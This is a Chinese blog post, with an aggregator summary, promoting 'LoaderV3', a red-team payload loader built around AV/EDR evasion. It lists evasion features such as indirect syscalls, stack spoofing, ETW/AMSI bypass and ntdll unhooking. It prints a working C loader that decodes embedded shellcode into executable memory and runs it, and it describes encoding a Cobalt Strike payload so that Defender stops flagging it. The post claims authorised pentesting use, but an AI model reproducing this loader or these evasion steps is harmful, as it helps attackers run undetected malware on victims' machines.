2026-03-18 21:07:59 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文介绍了一款更新版红队加载器LoaderV3，重点展示了其高级规避能力。工具集成SysWhispers4项目，通过随机间接系统调用、堆栈欺骗、ETW/AMSI绕过等技术实现EDR对抗，并利用codasm编码降低熵值以规避静态检测。文章分析了AV与EDR的检测逻辑差异，演示了如何通过优化API调用模式和内存执行策略来绕过防护，适用于合法授权的渗透测试与攻防演练，为安全人员提供了免杀技术的具体实现参考。 综合评分： 84 文章分类： 红队,免杀,安全工具,渗透测试

cover_image

[更新]红队加载器LoaderV3

原创

陆安予陆安予

白帽子安全笔记2.0

2026年3月11日 21:50 江苏

这是一个具有高级规避功能的有效载荷加载器。

一、背景

在之前的版本上，增加了两种加载方式。

UI界面

其中，使用了全球知名的AV/EDR绕过方案SysWhispers4项目，默认启用了全部规避功能，其中包括：

• 回收之门
• 随机间接系统调用
• 堆栈欺骗
• ETW绕过
• ASMI绕过
• ntdll解钩
• 反调试

而codasm编码技术目的是减少熵，比传统加密方式降低了40%。

在这之前，我们得谈一谈相关知识。

二、加密和有效载荷

加密方式的选择虽然重要，传统的uuid、ipv4、base64、aes、rc4、xor、mac加密方法最近几年演变成了一些加密算法Mars、以及数学加密DET，还有降低熵值的codasm加密等。

先举个例子，这是一个使用base64加密执行calc有效载荷的代码，加密本身没有问题，对于AV来说，API的使用不影响最终结果：

//gcc Base64.c -s -lcrypt32

#include&nbsp;<windows.h>
#pragma&nbsp;comment (lib, "Crypt32.lib")

int main() {
&nbsp; &nbsp; const char b64Payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
&nbsp; &nbsp; DWORD b64Len = sizeof(b64Payload);

&nbsp; &nbsp; LPVOID mem = VirtualAlloc(0, b64Len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
&nbsp; &nbsp; CryptStringToBinaryA(b64Payload, b64Len, CRYPT_STRING_BASE64, (BYTE*)mem, &b64Len, NULL, NULL);

&nbsp; &nbsp; ((void(*)())mem)();

&nbsp; &nbsp; return 0;
}

Defender

如果最终写入的内容没有恶意特征，则会放过，接下来我们使用完全无法检测的Cobalt Strike有效载荷：

python .\base64_Encoder.py .\payload_x64.bin >1.txt

显而易见，不检测了，API调用模式 + 最终载荷内容 = 检测结果。

如果说加载方式恶意是1分，恶意载荷是1分，如果最终大于等于2分，反之则通过。

三、AV/EDR规避

随着特征修补技术越来越强，传统AV越来越容易被绕过，因此开发了EDR等产品，它将深度检测程序行为。

| | AV | EDR | | — | — | — | | 逻辑 | 1+0<=2分，正常程序 | VirtualAlloc(RWX) → 可疑(+30分) 阶段2: CryptStringToBinaryA → 可疑(+20分) 阶段3: 写入内存 → 监控中阶段4: 执行内存 → 恶意(+50分) 阶段5: 调用栈分析 → 异常(+25分) 结论: 总分125分 > 阈值，恶意程序 |

但今天我们的重点不是测试EDR，而是使用更高级的API调用模式，我们将使用强大的SysWhispers4实现这一点，它作为第四个版本，采用了更高级的规避技术，无疑是该领域顶级武器。